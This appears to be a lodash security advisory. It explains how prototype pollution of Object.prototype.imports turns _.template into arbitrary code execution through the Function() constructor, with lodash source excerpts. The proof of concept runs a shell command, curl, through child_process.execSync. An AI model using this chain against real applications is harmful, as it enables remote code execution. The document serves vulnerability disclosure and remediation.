https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});-
Using a prior prototype pollution vulnerability to pollute Object.prototype.imports with an attacker-controlled property
-
Next, it calls _.template('', {}) with a normal plain-object options value
-
Inside
_.template(), lodash copiesoptionswithassignInWith({}, options, settings, ...)at lodash.js:14877
function template(string, options, guard) {
// Based on John Resig's `tmpl` implementation
// (http://ejohn.org/blog/javascript-micro-templating/)
// and Laura Doktorova's doT.js (https://github.com/olado/doT).
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
...assignInWithuseskeysIn(source)at lodash.js:12778
var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});keysIn()includes inherited enumerable properties at lodash.js:13440
function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}-
Because the options object is a normal
{}, it inherits the pollutedimportsproperty fromObject.prototype, and lodash copies that inherited value into localoptions.imports -
Lodash then builds
importswithassignInWith({}, options.imports, settings.imports, ...)at lodash.js:14889, extractsimportsKeysat lodash.js:14889, and passes them intoFunction(importsKeys, ...)at lodash.js:14957
...
// Cleanup code by stripping empty strings.
source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
.replace(reEmptyStringMiddle, '$1')
.replace(reEmptyStringTrailing, '$1;');
// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
...-
My polluted key is treated as a formal parameter with a default expression:
x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
